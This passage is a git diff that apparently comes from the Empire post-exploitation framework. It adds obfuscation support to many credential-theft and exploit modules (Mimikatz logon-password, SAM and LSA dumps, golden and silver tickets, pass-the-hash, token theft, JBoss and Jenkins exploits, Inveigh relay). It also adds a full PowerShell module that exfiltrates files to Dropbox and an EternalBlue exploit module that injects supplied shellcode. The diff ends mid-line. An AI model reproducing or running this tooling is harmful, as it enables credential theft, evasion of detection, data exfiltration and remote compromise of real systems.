-DumpForest " + scriptEnd += " -DumpForest " if self.options["Computers"]['Value'] != '': - script += " -GetComputers " + scriptEnd += " -GetComputers " if self.options["Active"]['Value'] == '': - script += " -OnlyActive:$false " - - script += "| Out-String;" + scriptEnd += " -OnlyActive:$false " + scriptEnd += "| Out-String;" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/extract_tickets.py b/lib/modules/powershell/credentials/mimikatz/extract_tickets.py index 63f3fece1..eec85762f 100644 --- a/lib/modules/powershell/credentials/mimikatz/extract_tickets.py +++ b/lib/modules/powershell/credentials/mimikatz/extract_tickets.py @@ -52,11 +52,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -68,6 +70,8 @@ def generate(self): script = moduleCode - script += "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'" - + scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/golden_ticket.py b/lib/modules/powershell/credentials/mimikatz/golden_ticket.py index aaf332ba2..437056819 100644 --- a/lib/modules/powershell/credentials/mimikatz/golden_ticket.py +++ b/lib/modules/powershell/credentials/mimikatz/golden_ticket.py @@ -98,11 +98,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -139,13 +141,15 @@ def generate(self): print helpers.color("[!] krbtgt hash not specified") # build the golden ticket command - script += "Invoke-Mimikatz -Command '\"kerberos::golden" + scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::golden" for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "credid": if values['Value'] and values['Value'] != '': - script += " /" + str(option) + ":" + str(values['Value']) + scriptEnd += " /" + str(option) + ":" + str(values['Value']) - script += " /ptt\"'" - + scriptEnd += " /ptt\"'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/logonpasswords.py b/lib/modules/powershell/credentials/mimikatz/logonpasswords.py index 003e03559..9bcc167df 100644 --- a/lib/modules/powershell/credentials/mimikatz/logonpasswords.py +++ b/lib/modules/powershell/credentials/mimikatz/logonpasswords.py @@ -52,11 +52,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -69,11 +71,13 @@ def generate(self): script = moduleCode # build the dump command with whatever options we want - script += "Invoke-Mimikatz;" + scriptEnd = "Invoke-Mimikatz -DumpCreds;" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/lsadump.py b/lib/modules/powershell/credentials/mimikatz/lsadump.py index bbbc1937f..94692fb90 100644 --- a/lib/modules/powershell/credentials/mimikatz/lsadump.py +++ b/lib/modules/powershell/credentials/mimikatz/lsadump.py @@ -59,11 +59,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -75,13 +77,15 @@ def generate(self): script = moduleCode - script += "Invoke-Mimikatz -Command " + scriptEnd = "Invoke-Mimikatz -Command " if self.options['Username']['Value'] != '': - script += "'\"lsadump::lsa /inject /name:" + self.options['Username']['Value'] + scriptEnd += "'\"lsadump::lsa /inject /name:" + self.options['Username']['Value'] else: - script += "'\"lsadump::lsa /patch" - - script += "\"';" + scriptEnd += "'\"lsadump::lsa /patch" + scriptEnd += "\"';" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/mimitokens.py b/lib/modules/powershell/credentials/mimikatz/mimitokens.py index c729eaff5..23020b417 100644 --- a/lib/modules/powershell/credentials/mimikatz/mimitokens.py +++ b/lib/modules/powershell/credentials/mimikatz/mimitokens.py @@ -87,11 +87,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -111,28 +113,30 @@ def generate(self): script = moduleCode - script += "Invoke-Mimikatz -Command " + scriptEnd = "Invoke-Mimikatz -Command " if revert.lower() == "true": - script += "'\"token::revert" + scriptEnd += "'\"token::revert" else: if listTokens.lower() == "true": - script += "'\"token::list" + scriptEnd += "'\"token::list" elif elevate.lower() == "true": - script += "'\"token::elevate" + scriptEnd += "'\"token::elevate" else: print helpers.color("[!] list, elevate, or revert must be specified!") return "" if domainadmin.lower() == "true": - script += " /domainadmin" + scriptEnd += " /domainadmin" elif admin.lower() == "true": - script += " /admin" + scriptEnd += " /admin" elif user.lower() != "": - script += " /user:" + str(user) + scriptEnd += " /user:" + str(user) elif processid.lower() != "": - script += " /id:" + str(processid) - - script += "\"';" + scriptEnd += " /id:" + str(processid) + scriptEnd += "\"';" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/pth.py b/lib/modules/powershell/credentials/mimikatz/pth.py index 9f16abd72..423969f9d 100644 --- a/lib/modules/powershell/credentials/mimikatz/pth.py +++ b/lib/modules/powershell/credentials/mimikatz/pth.py @@ -75,11 +75,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -120,8 +122,10 @@ def generate(self): command += " /ntlm:" + self.options["ntlm"]['Value'] # base64 encode the command to pass to Invoke-Mimikatz - script += "Invoke-Mimikatz -Command '\"" + command + "\"'" + scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"'" - script += ';"`nUse credentials/token to steal the token of the created PID."' - + scriptEnd += ';"`nUse credentials/token to steal the token of the created PID."' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/purge.py b/lib/modules/powershell/credentials/mimikatz/purge.py index a62da1b39..edac4ea3c 100644 --- a/lib/modules/powershell/credentials/mimikatz/purge.py +++ b/lib/modules/powershell/credentials/mimikatz/purge.py @@ -53,11 +53,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -70,6 +72,8 @@ def generate(self): script = moduleCode # set the purge command - script += "Invoke-Mimikatz -Command '\"kerberos::purge\"'" - + scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::purge\"'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/sam.py b/lib/modules/powershell/credentials/mimikatz/sam.py index a2cce6086..2d229fb31 100644 --- a/lib/modules/powershell/credentials/mimikatz/sam.py +++ b/lib/modules/powershell/credentials/mimikatz/sam.py @@ -54,11 +54,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -70,8 +72,10 @@ def generate(self): script = moduleCode - script += "Invoke-Mimikatz -Command " - - script += "'\"token::elevate\" \"lsadump::sam\" \"token::revert\"';" + scriptEnd = "Invoke-Mimikatz -Command " + scriptEnd += "'\"token::elevate\" \"lsadump::sam\" \"token::revert\"';" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/silver_ticket.py b/lib/modules/powershell/credentials/mimikatz/silver_ticket.py index 54f81cde9..47187f905 100644 --- a/lib/modules/powershell/credentials/mimikatz/silver_ticket.py +++ b/lib/modules/powershell/credentials/mimikatz/silver_ticket.py @@ -98,11 +98,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -151,13 +153,15 @@ def generate(self): return "" # build the golden ticket command - script += "Invoke-Mimikatz -Command '\"kerberos::golden" + scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::golden" for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "credid": if values['Value'] and values['Value'] != '': - script += " /" + str(option) + ":" + str(values['Value']) + scriptEnd += " /" + str(option) + ":" + str(values['Value']) - script += " /ptt\"'" - + scriptEnd += " /ptt\"'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/trust_keys.py b/lib/modules/powershell/credentials/mimikatz/trust_keys.py index ca7a4d472..c216a2ab1 100644 --- a/lib/modules/powershell/credentials/mimikatz/trust_keys.py +++ b/lib/modules/powershell/credentials/mimikatz/trust_keys.py @@ -57,11 +57,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -72,10 +74,12 @@ def generate(self): f.close() script = moduleCode - + scriptEnd = "" if self.options['Method']['Value'].lower() == "sekurlsa": - script += "Invoke-Mimikatz -Command '\"sekurlsa::trust\"'" + scriptEnd += "Invoke-Mimikatz -Command '\"sekurlsa::trust\"'" else: - script += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'" - + scriptEnd += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/powerdump.py b/lib/modules/powershell/credentials/powerdump.py index 4d0cb69d8..2abe75077 100644 --- a/lib/modules/powershell/credentials/powerdump.py +++ b/lib/modules/powershell/credentials/powerdump.py @@ -50,11 +50,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-PowerDump.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -66,6 +68,8 @@ def generate(self): script = moduleCode - script += "Invoke-PowerDump" - + scriptEnd = "Invoke-PowerDump" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/sessiongopher.py b/lib/modules/powershell/credentials/sessiongopher.py index 5be73569c..c7acc1bf8 100644 --- a/lib/modules/powershell/credentials/sessiongopher.py +++ b/lib/modules/powershell/credentials/sessiongopher.py @@ -105,12 +105,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # if you're reading in a large, external script that might be updates, # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-SessionGopher.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -121,7 +124,7 @@ def generate(self): f.close() script = moduleCode - script += "Invoke-SessionGopher" + scriptEnd = "Invoke-SessionGopher" # add any arguments to the end execution of the script for option,values in self.options.iteritems(): @@ -129,8 +132,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/tokens.py b/lib/modules/powershell/credentials/tokens.py index d079d9c17..f79785fd2 100644 --- a/lib/modules/powershell/credentials/tokens.py +++ b/lib/modules/powershell/credentials/tokens.py @@ -110,11 +110,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-TokenManipulation.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -126,14 +128,14 @@ def generate(self): script = moduleCode - script += "Invoke-TokenManipulation" + scriptEnd = "Invoke-TokenManipulation" if self.options['RevToSelf']['Value'].lower() == "true": - script += " -RevToSelf" + scriptEnd += " -RevToSelf" elif self.options['WhoAmI']['Value'].lower() == "true": - script += " -WhoAmI" + scriptEnd += " -WhoAmI" elif self.options['ShowAll']['Value'].lower() == "true": - script += " -ShowAll | Out-String" + scriptEnd += " -ShowAll | Out-String" else: for option,values in self.options.iteritems(): @@ -141,16 +143,18 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) # try to make the output look nice if script.endswith("Invoke-TokenManipulation") or script.endswith("-ShowAll"): - script += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize | Out-String" + scriptEnd += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize | Out-String" else: - script += "| Out-String" + scriptEnd += "| Out-String" if self.options['RevToSelf']['Value'].lower() != "true": - script += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' - + scriptEnd += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/vault_credential.py b/lib/modules/powershell/credentials/vault_credential.py index 14e2bce84..ab983b60b 100644 --- a/lib/modules/powershell/credentials/vault_credential.py +++ b/lib/modules/powershell/credentials/vault_credential.py @@ -52,11 +52,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Get-VaultCredential.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -69,6 +71,8 @@ def generate(self): script = moduleCode - script += "Get-VaultCredential" - + scriptEnd = "Get-VaultCredential" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/exfiltration/egresscheck.py b/lib/modules/powershell/exfiltration/egresscheck.py index bc575d4ab..02d56e5cf 100644 --- a/lib/modules/powershell/exfiltration/egresscheck.py +++ b/lib/modules/powershell/exfiltration/egresscheck.py @@ -87,11 +87,14 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # if you're reading in a large, external script that might be updates, # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/exfil/Invoke-EgressCheck.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -104,7 +107,7 @@ def generate(self): script = moduleCode # Need to actually run the module that has been loaded - script += 'Invoke-EgressCheck' + scriptEnd = 'Invoke-EgressCheck' # add any arguments to the end execution of the script for option,values in self.options.iteritems(): @@ -112,8 +115,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" - + scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/exfiltration/exfil_dropbox.py b/lib/modules/powershell/exfiltration/exfil_dropbox.py new file mode 100644 index 000000000..a6b70b01a --- /dev/null +++ b/lib/modules/powershell/exfiltration/exfil_dropbox.py @@ -0,0 +1,141 @@ +from lib.common import helpers + + +class Module: + + def __init__(self, mainMenu, params=[]): + + # Metadata info about the module, not modified during runtime + self.info = { + # Name for the module that will appear in module menus + 'Name': 'Invoke-DropboxUpload', + + # List of one or more authors for the module + 'Author': ['kdick@tevora.com','Laurent Kempe'], + + # More verbose multi-line description of the module + 'Description': ('Upload a file to dropbox '), + + # True if the module needs to run in the background + 'Background': False, + + # File extension to save the file as + 'OutputExtension': None, + + # True if the module needs admin rights to run + 'NeedsAdmin': False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe': True, + + # The language for this module + 'Language': 'powershell', + + # The minimum PowerShell version needed for the module to run + 'MinLanguageVersion': '2', + + # List of any references/other comments + 'Comments': [ + 'Uploads specified file to dropbox ', + 'Ported to powershell2 from script by Laurent Kempe: http://laurentkempe.com/2016/04/07/Upload-files-to-DropBox-from-PowerShell/', + 'Use forward slashes for the TargetFilePath' + ] + } + + # Any options needed by the module, settable during runtime + self.options = { + # Format: + # value_name : {description, required, default_value} + 'Agent': { + # The 'Agent' option is the only one that MUST be in a module + 'Description': 'Agent to use', + 'Required' : True, + 'Value' : '' + }, + 'SourceFilePath': { + 'Description': '/path/to/file', + 'Required' : True, + 'Value' : '' + }, + 'TargetFilePath': { + 'Description': '/path/to/dropbox/file', + 'Required': True, + 'Value': '' + }, + 'ApiKey': { + 'Description': 'Your dropbox api key', + 'Required': True, + 'Value': '' + } + } + + # Save off a copy of the mainMenu object to access external + # functionality like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters are passed as + # an object set to the module and the options dictionary is + # automatically set. This is mostly in case options are passed on + # the command line. + if params: + for param in params: + # Parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + script = """ +function Invoke-DropboxUpload { +Param( + [Parameter(Mandatory=$true)] + [string]$SourceFilePath, + [Parameter(Mandatory=$true)] + [string]$TargetFilePath, + [Parameter(mandatory=$true)] + [string]$ApiKey +) + +$url = "https://content.dropboxapi.com/2/files/upload" + +$file = [IO.File]::ReadAllBytes($SourceFilePath) +[net.httpWebRequest] $req = [net.webRequest]::create($url) + +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $ApiKey + +$req.method = "POST" +$req.Headers.Add("Authorization", $authorization) +$req.Headers.Add("Dropbox-API-Arg", $arg) +$req.ContentType = 'application/octet-stream' +$req.ContentLength = $file.length +$req.TimeOut = 50000 +$req.KeepAlive = $true +$req.Headers.Add("Keep-Alive: 300"); +$reqst = $req.getRequestStream() +$reqst.write($file, 0, $file.length) +$reqst.flush() +$reqst.close() + +[net.httpWebResponse] $res = $req.getResponse() +$resst = $res.getResponseStream() +$sr = new-object IO.StreamReader($resst) +$result = $sr.ReadToEnd() +$result +$res.close() +} + +Invoke-DropboxUpload """ + + # Add any arguments to the end execution of the script + for option, values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + return script diff --git a/lib/modules/powershell/exploitation/exploit_eternalblue.py b/lib/modules/powershell/exploitation/exploit_eternalblue.py new file mode 100755 index 000000000..593b31963 --- /dev/null +++ b/lib/modules/powershell/exploitation/exploit_eternalblue.py @@ -0,0 +1,108 @@ +import re +from lib.common import helpers +import pdb + + +class Module: + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-EternalBlue', + + 'Author': ['Sean Dillon ','Dylan Davis ' + 'Equation Group', 'kdick@tevora.com (e0x70i)'], + + 'Description': ("Port of MS17_010 Metasploit module to powershell. " + "Exploits targeted system and executes specified shellcode. " + "Windows 7 and 2008 R2 supported. " + "Potential for a BSOD "), + + 'Background': False, + + 'OutputExtension': None, + + 'NeedsAdmin': False, + + 'OpsecSafe': False, + + 'Language': 'powershell', + + 'MinLanguageVersion': '2', + + 'Comments': [ + 'https://github.com/RiskSense-Ops/MS17-010', + 'https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue', + 'http://threat.tevora.com/eternal-blues/' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent': { + 'Description': 'Agent to run module on.', + 'Required': True, + 'Value': '' + }, + 'Target': { + 'Description': 'IP or Hostname of target ', + 'Required': True, + 'Value': '' + }, + 'MaxAttempts': { + 'Description': 'Number of times to try exploit (increment grooms by 5 each time)', + 'Required': True, + 'Value': '1' + }, + 'InitialGrooms': { + 'Description': 'Number of Initial Grooms', + 'Required': True, + 'Value': '12' + }, + 'Shellcode': { + 'Description': 'Custom shellcode to inject, 0xaa,0xab,... format.', + 'Required': True, + 'Value': '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + script += "\nInvoke-EternalBlue " + + for option, values in self.options.iteritems(): + if values['Value'] and values['Value'] != '': + if option.lower() == "shellcode": + # transform the shellcode to the correct format + script += " -" + str(option) + " @(" + str(values['Value']) + ")" + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += "; 'Exploit complete'" + + return script \ No newline at end of file diff --git a/lib/modules/powershell/exploitation/exploit_jboss.py b/lib/modules/powershell/exploitation/exploit_jboss.py index 87b348946..3cf96452b 100644 --- a/lib/modules/powershell/exploitation/exploit_jboss.py +++ b/lib/modules/powershell/exploitation/exploit_jboss.py @@ -81,11 +81,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-JBoss.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -97,15 +99,17 @@ def generate(self): script = moduleCode - script += "\nExploit-JBoss" + scriptEnd = "\nExploit-JBoss" for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "showall": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/exploitation/exploit_jenkins.py b/lib/modules/powershell/exploitation/exploit_jenkins.py index bb68f8953..d81118814 100644 --- a/lib/modules/powershell/exploitation/exploit_jenkins.py +++ b/lib/modules/powershell/exploitation/exploit_jenkins.py @@ -66,11 +66,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-Jenkins.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -82,15 +84,17 @@ def generate(self): script = moduleCode - script += "\nExploit-Jenkins" - script += " -Rhost "+str(self.options['Rhost']['Value']) - script += " -Port "+str(self.options['Port']['Value']) + scriptEnd = "\nExploit-Jenkins" + scriptEnd += " -Rhost "+str(self.options['Rhost']['Value']) + scriptEnd += " -Port "+str(self.options['Port']['Value']) command = str(self.options['Cmd']['Value']) # if the command contains spaces, wrap it in quotes before passing to ps script if " " in command: - script += " -Cmd \"" + command + "\"" + scriptEnd += " -Cmd \"" + command + "\"" else: - script += " -Cmd " + command - + scriptEnd += " -Cmd " + command + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/lateral_movement/inveigh_relay.py b/lib/modules/powershell/lateral_movement/inveigh_relay.py index fb0279463..396aa44b7 100644 --- a/lib/modules/powershell/lateral_movement/inveigh_relay.py +++ b/lib/modules/powershell/lateral_movement/inveigh_relay.py @@ -143,7 +143,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] @@ -153,7 +153,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -176,19 +178,21 @@ def generate(self): # generate the 